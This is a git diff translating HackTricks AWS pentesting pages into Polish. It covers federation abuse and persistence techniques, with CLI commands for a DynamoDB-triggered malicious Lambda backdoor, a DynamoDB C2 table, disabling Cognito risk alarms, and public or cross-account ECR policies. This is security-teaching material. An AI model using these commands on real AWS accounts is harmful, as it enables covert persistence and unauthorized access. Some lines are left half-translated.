token. | +| ACCA | Poświadczenie specyficzne dla kontekstu | +| AGPA | Grupa użytkowników | +| AIDA | Użytkownik IAM | +| AIPA | Profil instancji Amazon EC2 | +| AKIA | Klucz dostępu | +| ANPA | Polityka zarządzana | +| ANVA | Wersja w polityce zarządzanej | +| APKA | Klucz publiczny | +| AROA | Rola | +| ASCA | Certyfikat | +| ASIA | [Tymczasowe identyfikatory kluczy dostępu (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) używają tego prefiksu, ale są unikalne tylko w połączeniu z tajnym kluczem dostępu i tokenem sesji. | ### Recommended permissions to audit accounts @@ -340,10 +324,9 @@ The following privileges grant various read access of metadata: ### CLI Authentication -In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\ -In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\ +In order for a regular user authenticate to AWS via CLI you need to have **lokalne poświadczenia**. By default you can configure them **ręcznie** w `~/.aws/credentials` or by **uruchamiając** `aws configure`.\ +In that file you can have more than one profile, if **żaden profil** nie jest określony przy użyciu **aws cli**, użyty zostanie ten nazwany **`[default]`** w tym pliku.\ Example of credentials file with more than 1 profile: - ``` [default] aws_access_key_id = AKIA5ZDCUJHF83HDTYUT @@ -354,12 +337,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` +Jeśli musisz uzyskać dostęp do **różnych kont AWS** i Twój profil ma dostęp do **przyjęcia roli w tych kontach**, nie musisz ręcznie wywoływać STS za każdym razem (`aws sts assume-role --role-arn --role-session-name sessname`) i konfigurować poświadczeń. -If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials. - -You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\ -A config file example: - +Możesz użyć pliku `~/.aws/config`, aby [**wskazać, które role przyjąć**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), a następnie użyć parametru `--profile` jak zwykle (operacja `assume-role` zostanie wykonana w sposób przezroczysty dla użytkownika).\ +Przykład pliku konfiguracyjnego: ``` [profile acc2] region=eu-west-2 @@ -368,14 +349,11 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` - -With this config file you can then use aws cli like: - +Z tym plikiem konfiguracyjnym możesz następnie używać aws cli w ten sposób: ``` aws --profile acc2 ... ``` - -If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). +Jeśli szukasz czegoś **podobnego** do tego, ale dla **przeglądarki**, możesz sprawdzić **rozszerzenie** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). ## References @@ -384,7 +362,3 @@ If you are looking for something **similar** to this but for the **browser** you - [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index 73ae6b448..8c71f9102 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -1,87 +1,84 @@ -# AWS - Federation Abuse +# AWS - Nadużycie Federacji {{#include ../../../banners/hacktricks-training.md}} ## SAML -For info about SAML please check: +Aby uzyskać informacje o SAML, sprawdź: {{#ref}} https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key) +Aby skonfigurować **Federację Tożsamości przez SAML**, wystarczy podać **nazwę** i **metadane XML** zawierające całą konfigurację SAML (**punkty końcowe**, **certyfikat** z kluczem publicznym) -## OIDC - Github Actions Abuse +## OIDC - Nadużycie Github Actions -In order to add a github action as Identity provider: - -1. For _Provider type_, select **OpenID Connect**. -2. For _Provider URL_, enter `https://token.actions.githubusercontent.com` -3. Click on _Get thumbprint_ to get the thumbprint of the provider -4. For _Audience_, enter `sts.amazonaws.com` -5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "token.actions.githubusercontent.com:sub": [ - "repo:ORG_OR_USER_NAME/REPOSITORY:pull_request", - "repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main" - ], - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] - } - ``` -6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**. -7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**. -8. Finally use a github action to configure the AWS creds to be used by the workflow: +Aby dodać akcję github jako dostawcę tożsamości: +1. W _Typ dostawcy_ wybierz **OpenID Connect**. +2. W _URL dostawcy_ wpisz `https://token.actions.githubusercontent.com` +3. Kliknij na _Pobierz odcisk palca_, aby uzyskać odcisk palca dostawcy +4. W _Odbiorca_ wpisz `sts.amazonaws.com` +5. Utwórz **nową rolę** z **uprawnieniami**, których potrzebuje akcja github oraz **politykę zaufania**, która ufa dostawcy, jak w poniższym przykładzie: +- ```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:sub": [ +"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request", +"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main" +], +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] +} +``` +6. Zauważ w poprzedniej polityce, jak tylko **gałąź** z **repozytorium** **organizacji** została autoryzowana z określonym **wyzwalaczem**. +7. **ARN** **roli**, którą akcja github będzie mogła **udawać**, będzie "sekretem", który akcja github musi znać, więc **przechowuj** go w **sekrecie** w **środowisku**. +8. Na koniec użyj akcji github, aby skonfigurować poświadczenia AWS, które będą używane przez workflow: ```yaml name: "test AWS Access" # The workflow should only trigger on pull requests to the main branch on: - pull_request: - branches: - - main +pull_request: +branches: +- main # Required to get the ID Token that will be used for OIDC permissions: - id-token: write - contents: read # needed for private repos to checkout +id-token: write +contents: read # needed for private repos to checkout jobs: - aws: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v3 +aws: +runs-on: ubuntu-latest +steps: +- name: Checkout +uses: actions/checkout@v3 - - name: Configure AWS Credentials - uses: aws-actions/configure-aws-credentials@v1 - with: - aws-region: eu-west-1 - role-to-assume:${{ secrets.READ_ROLE }} - role-session-name: OIDCSession +- name: Configure AWS Credentials +uses: aws-actions/configure-aws-credentials@v1 +with: +aws-region: eu-west-1 +role-to-assume:${{ secrets.READ_ROLE }} +role-session-name: OIDCSession - - run: aws sts get-caller-identity - shell: bash +- run: aws sts get-caller-identity +shell: bash ``` - -## OIDC - EKS Abuse - +## OIDC - Nadużycie EKS ```bash # Crate an EKS cluster (~10min) eksctl create cluster --name demo --fargate @@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate # Create an Identity Provider for an EKS cluster eksctl utils associate-iam-oidc-provider --cluster Testing --approve ``` - -It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy: - +Możliwe jest generowanie **OIDC providers** w klastrze **EKS** po prostu ustawiając **OIDC URL** klastra jako **nowego dostawcę tożsamości Open ID**. To jest powszechna domyślna polityka: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com" +} +} +} +] } ``` +Ta polityka poprawnie wskazuje, że **tylko** **klaster EKS** o **id** `20C159CDF6F2349B68846BEC03BE031B` może przyjąć rolę. Jednak nie wskazuje, który konto usługi może ją przyjąć, co oznacza, że **WSZYSTKIE konta usługi z tokenem tożsamości webowej** będą **mogły przyjąć** rolę. -This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role. - -In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as: - +Aby określić, **które konto usługi powinno mieć możliwość przyjęcia roli,** należy określić **warunek**, w którym **nazwa konta usługi jest określona**, na przykład: ```bash "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account", ``` - ## References - [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index 28868b9f1..5f8e6ddf4 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -1,21 +1,17 @@ -# AWS - Permissions for a Pentest +# AWS - Uprawnienia do Pentestu {{#include ../../banners/hacktricks-training.md}} -These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools: +To są uprawnienia, które potrzebujesz na każdym koncie AWS, które chcesz audytować, aby móc uruchomić wszystkie proponowane narzędzia audytowe AWS: -- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) -- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions: - - **access-analyzer:List\*** - - **access-analyzer:Get\*** - - **iam:CreateServiceLinkedRole** - - **access-analyzer:CreateAnalyzer** - - Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission) - - **access-analyzer:DeleteAnalyzer** - - Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission) +- Domyślna polityka **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) +- Aby uruchomić [aws_iam_review](https://github.com/carlospolop/aws_iam_review), potrzebujesz również uprawnień: +- **access-analyzer:List\*** +- **access-analyzer:Get\*** +- **iam:CreateServiceLinkedRole** +- **access-analyzer:CreateAnalyzer** +- Opcjonalne, jeśli klient generuje analizy dla Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie) +- **access-analyzer:DeleteAnalyzer** +- Opcjonalne, jeśli klient usuwa analizy za Ciebie, ale zazwyczaj łatwiej jest po prostu poprosić o to uprawnienie) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md index f3b45c4d3..d0855ff90 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md @@ -1,6 +1 @@ -# AWS - Persistence - - - - - +# AWS - Utrzymywanie dostępu diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index 6d2b0ec35..7ed50bac0 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -1,36 +1,32 @@ -# AWS - API Gateway Persistence +# AWS - Utrzymywanie w API Gateway {{#include ../../../banners/hacktricks-training.md}} ## API Gateway -For more information go to: +Aby uzyskać więcej informacji, przejdź do: {{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}} -### Resource Policy +### Polityka zasobów -Modify the resource policy of the API gateway(s) to grant yourself access to them +Zmień politykę zasobów bramy API, aby przyznać sobie dostęp do nich. -### Modify Lambda Authorizers +### Modyfikacja autoryzatorów Lambda -Modify the code of lambda authorizers to grant yourself access to all the endpoints.\ -Or just remove the use of the authorizer. +Zmień kod autoryzatorów Lambda, aby przyznać sobie dostęp do wszystkich punktów końcowych.\ +Lub po prostu usuń użycie autoryzatora. -### IAM Permissions +### Uprawnienia IAM -If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\ -Or just remove the use of the authorizer. +Jeśli zasób korzysta z autoryzatora IAM, możesz przyznać sobie dostęp do niego, modyfikując uprawnienia IAM.\ +Lub po prostu usuń użycie autoryzatora. -### API Keys +### Klucze API -If API keys are used, you could leak them to maintain persistence or even create new ones.\ -Or just remove the use of API keys. +Jeśli używane są klucze API, możesz je ujawnić, aby utrzymać ciągłość lub nawet stworzyć nowe.\ +Lub po prostu usuń użycie kluczy API. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index e2e037e53..757266601 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -4,24 +4,24 @@ ## Cognito -For more information, access: +Aby uzyskać więcej informacji, uzyskaj dostęp do: {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### User persistence +### Utrzymywanie użytkowników -Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like: +Cognito to usługa, która pozwala przypisywać role użytkownikom nieautoryzowanym i autoryzowanym oraz kontrolować katalog użytkowników. Można zmienić kilka różnych konfiguracji, aby utrzymać pewną persystencję, takich jak: -- **Adding a User Pool** controlled by the user to an Identity Pool -- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow** - - Or to an **authenticated Identity Pool** if the attacker can login - - Or **improve the permissions** of the given roles -- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool** -- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool +- **Dodanie User Pool** kontrolowanego przez użytkownika do Identity Pool +- Przyznanie **roli IAM nieautoryzowanemu Identity Pool i umożliwienie podstawowego przepływu autoryzacji** +- Lub do **autoryzowanego Identity Pool**, jeśli atakujący może się zalogować +- Lub **poprawa uprawnień** przyznanych ról +- **Tworzenie, weryfikacja i privesc** za pomocą atrybutów kontrolowanych użytkowników lub nowych użytkowników w **User Pool** +- **Umożliwienie zewnętrznym dostawcom tożsamości** logowania się w User Pool lub w Identity Pool -Check how to do these actions in +Sprawdź, jak wykonać te działania w {{#ref}} ../aws-privilege-escalation/aws-cognito-privesc.md @@ -29,18 +29,12 @@ Check how to do these actions in ### `cognito-idp:SetRiskConfiguration` -An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options: - +Atakujący z tym uprawnieniem mógłby zmodyfikować konfigurację ryzyka, aby móc zalogować się jako użytkownik Cognito **bez wywoływania alarmów**. [**Sprawdź cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html), aby zobaczyć wszystkie opcje: ```bash aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} ``` - -By default this is disabled: +Domyślnie jest to wyłączone:
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index 75a824e73..27bff7547 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -4,64 +4,56 @@ ### DynamoDB -For more information access: +Aby uzyskać więcej informacji, przejdź do: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -### DynamoDB Triggers with Lambda Backdoor - -Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account. +### Wyzwalacze DynamoDB z tylnym wejściem Lambda +Korzystając z wyzwalaczy DynamoDB, atakujący może stworzyć **ukryte tylne wejście** poprzez powiązanie złośliwej funkcji Lambda z tabelą. Funkcja Lambda może być wywoływana, gdy element jest dodawany, modyfikowany lub usuwany, co pozwala atakującemu na wykonanie dowolnego kodu w ramach konta AWS. ```bash # Create a malicious Lambda function aws lambda create-function \ - --function-name MaliciousFunction \ - --runtime nodejs14.x \ - --role \ - --handler index.handler \ - --zip-file fileb://malicious_function.zip \ - --region +--function-name MaliciousFunction \ +--runtime nodejs14.x \ +--role \ +--handler index.handler \ +--zip-file fileb://malicious_function.zip \ +--region # Associate the Lambda function with the DynamoDB table as a trigger aws dynamodbstreams describe-stream \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region # Note the "StreamArn" from the output aws lambda create-event-source-mapping \ - --function-name MaliciousFunction \ - --event-source \ - --region +--function-name MaliciousFunction \ +--event-source \ +--region ``` +Aby utrzymać persistencję, atakujący może tworzyć lub modyfikować elementy w tabeli DynamoDB, co spowoduje uruchomienie złośliwej funkcji Lambda. Umożliwia to atakującemu wykonywanie kodu w ramach konta AWS bez bezpośredniej interakcji z funkcją Lambda. -To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function. - -### DynamoDB as a C2 Channel - -An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands. +### DynamoDB jako kanał C2 +Atakujący może użyć tabeli DynamoDB jako **kanału dowodzenia i kontroli (C2)**, tworząc elementy zawierające polecenia i używając skompromitowanych instancji lub funkcji Lambda do pobierania i wykonywania tych poleceń. ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ - --table-name C2Table \ - --attribute-definitions AttributeName=CommandId,AttributeType=S \ - --key-schema AttributeName=CommandId,KeyType=HASH \ - --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ - --region +--table-name C2Table \ +--attribute-definitions AttributeName=CommandId,AttributeType=S \ +--key-schema AttributeName=CommandId,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--region # Insert a command into the table aws dynamodb put-item \ - --table-name C2Table \ - --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ - --region +--table-name C2Table \ +--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ +--region ``` - -The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources. +Skonfiskowane instancje lub funkcje Lambda mogą okresowo sprawdzać tabelę C2 w poszukiwaniu nowych poleceń, wykonywać je i opcjonalnie raportować wyniki z powrotem do tabeli. Umożliwia to atakującemu utrzymanie trwałości i kontroli nad skonfiskowanymi zasobami. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index b52ac9e85..491b744ee 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -4,55 +4,51 @@ ## EC2 -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Security Group Connection Tracking Persistence +### Śledzenie połączeń grupy zabezpieczeń -If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic. +Jeśli obrońca odkryje, że **instancja EC2 została skompromitowana**, prawdopodobnie spróbuje **izolować** **sieć** maszyny. Może to zrobić za pomocą **Deny NACL** (ale NACL wpływają na cały podsieć) lub **zmieniając grupę zabezpieczeń**, aby nie zezwalać na **żaden rodzaj ruchu przychodzącego lub wychodzącego**. -If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** +Jeśli atakujący miał **odwróconą powłokę pochodzącą z maszyny**, nawet jeśli SG zostanie zmodyfikowane, aby nie zezwalać na ruch przychodzący lub wychodzący, **połączenie nie zostanie zakończone z powodu** [**Śledzenia połączeń grupy zabezpieczeń**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** -### EC2 Lifecycle Manager +### Menedżer cyklu życia EC2 -This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\ -An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**. +Ta usługa pozwala na **planowanie** **tworzenia AMI i migawków** oraz nawet **dzielenie się nimi z innymi kontami**.\ +Atakujący mógłby skonfigurować **generowanie AMI lub migawków** wszystkich obrazów lub wszystkich wolumenów **co tydzień** i **dzielić się nimi ze swoim kontem**. -### Scheduled Instances +### Zaplanowane instancje -It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access. +Możliwe jest zaplanowanie instancji do uruchamiania codziennie, co tydzień lub nawet co miesiąc. Atakujący mógłby uruchomić maszynę z wysokimi uprawnieniami lub interesującym dostępem, do którego mógłby uzyskać dostęp. -### Spot Fleet Request +### Żądanie floty Spot -Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**. +Instancje Spot są **tańsze** niż regularne instancje. Atakujący mógłby uruchomić **małe żądanie floty Spot na 5 lat** (na przykład), z **automatycznym przypisaniem IP** i **danymi użytkownika**, które wysyłają do atakującego **gdy instancja Spot się uruchomi** oraz **adres IP** i z **rolą IAM o wysokich uprawnieniach**. -### Backdoor Instances +### Instancje z tylnym wejściem -An attacker could get access to the instances and backdoor them: +Atakujący mógłby uzyskać dostęp do instancji i wprowadzić do nich tylne wejście: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md)) -- Backdooring the **User Data** +- Używając tradycyjnego **rootkita**, na przykład +- Dodając nowy **publiczny klucz SSH** (sprawdź [opcje privesc EC2](../aws-privilege-escalation/aws-ec2-privesc.md)) +- Wprowadzając tylne wejście do **Danych Użytkownika** -### **Backdoor Launch Configuration** +### **Konfiguracja uruchamiania z tylnym wejściem** -- Backdoor the used AMI -- Backdoor the User Data -- Backdoor the Key Pair +- Wprowadzenie tylnego wejścia do używanego AMI +- Wprowadzenie tylnego wejścia do Danych Użytkownika +- Wprowadzenie tylnego wejścia do pary kluczy ### VPN -Create a VPN so the attacker will be able to connect directly through i to the VPC. +Utwórz VPN, aby atakujący mógł połączyć się bezpośrednio przez niego z VPC. -### VPC Peering +### Peering VPC -Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC. +Utwórz połączenie peeringowe między VPC ofiary a VPC atakującego, aby mógł uzyskać dostęp do VPC ofiary. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 07928fbd4..00260f215 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -4,98 +4,88 @@ ## ECR -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Hidden Docker Image with Malicious Code +### Ukryty obraz Docker z złośliwym kodem -An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner. +Napastnik mógłby **przesłać obraz Docker zawierający złośliwy kod** do repozytorium ECR i użyć go do utrzymania persistencji w docelowym koncie AWS. Napastnik mógłby następnie wdrożyć złośliwy obraz do różnych usług w ramach konta, takich jak Amazon ECS lub EKS, w sposób ukryty. -### Repository Policy - -Add a policy to a single repository granting yourself (or everybody) access to a repository: +### Polityka repozytorium +Dodaj politykę do pojedynczego repozytorium, przyznając sobie (lub wszystkim) dostęp do repozytorium: ```bash aws ecr set-repository-policy \ - --repository-name cluster-autoscaler \ - --policy-text file:///tmp/my-policy.json +--repository-name cluster-autoscaler \ +--policy-text file:///tmp/my-policy.json # With a .json such as { - "Version" : "2008-10-17", - "Statement" : [ - { - "Sid" : "allow public pull", - "Effect" : "Allow", - "Principal" : "*", - "Action" : [ - "ecr:BatchCheckLayerAvailability", - "ecr:BatchGetImage", - "ecr:GetDownloadUrlForLayer" - ] - } - ] +"Version" : "2008-10-17", +"Statement" : [ +{ +"Sid" : "allow public pull", +"Effect" : "Allow", +"Principal" : "*", +"Action" : [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] } ``` - > [!WARNING] -> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository. +> Zauważ, że ECR wymaga, aby użytkownicy mieli **uprawnienia** do wywoływania API **`ecr:GetAuthorizationToken`** za pomocą polityki IAM **zanim będą mogli uwierzytelnić się** w rejestrze i przesyłać lub pobierać obrazy z dowolnego repozytorium Amazon ECR. -### Registry Policy & Cross-account Replication +### Polityka rejestru i replikacja między kontami -It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry. +Możliwe jest automatyczne replikowanie rejestru w zewnętrznym koncie, konfigurując replikację między kontami, gdzie musisz **wskazać zewnętrzne konto**, w którym chcesz zreplikować rejestr.
-First, you need to give the external account access over the registry with a **registry policy** like: - +Najpierw musisz dać zewnętrznemu kontu dostęp do rejestru za pomocą **polityki rejestru** takiej jak: ```bash aws ecr put-registry-policy --policy-text file://my-policy.json # With a .json like: { - "Sid": "asdasd", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::947247140022:root" - }, - "Action": [ - "ecr:CreateRepository", - "ecr:ReplicateImage" - ], - "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" +"Sid": "asdasd", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::947247140022:root" +}, +"Action": [ +"ecr:CreateRepository", +"ecr:ReplicateImage" +], +"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" } ``` - -Then apply the replication config: - +Następnie zastosuj konfigurację replikacji: ```bash aws ecr put-replication-configuration \ - --replication-configuration file://replication-settings.json \ - --region us-west-2 +--replication-configuration file://replication-settings.json \ +--region us-west-2 # Having the .json a content such as: { - "rules": [{ - "destinations": [{ - "region": "destination_region", - "registryId": "destination_accountId" - }], - "repositoryFilters": [{ - "filter": "repository_prefix_name", - "filterType": "PREFIX_MATCH" - }] - }] +"rules": [{ +"destinations": [{ +"region": "destination_region", +"registryId": "destination_accountId" +}], +"repositoryFilters": [{ +"filter": "repository_prefix_name", +"filterType": "PREFIX_MATCH" +}] +}] } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 988626c8f..99ab05dbe 100644 --- 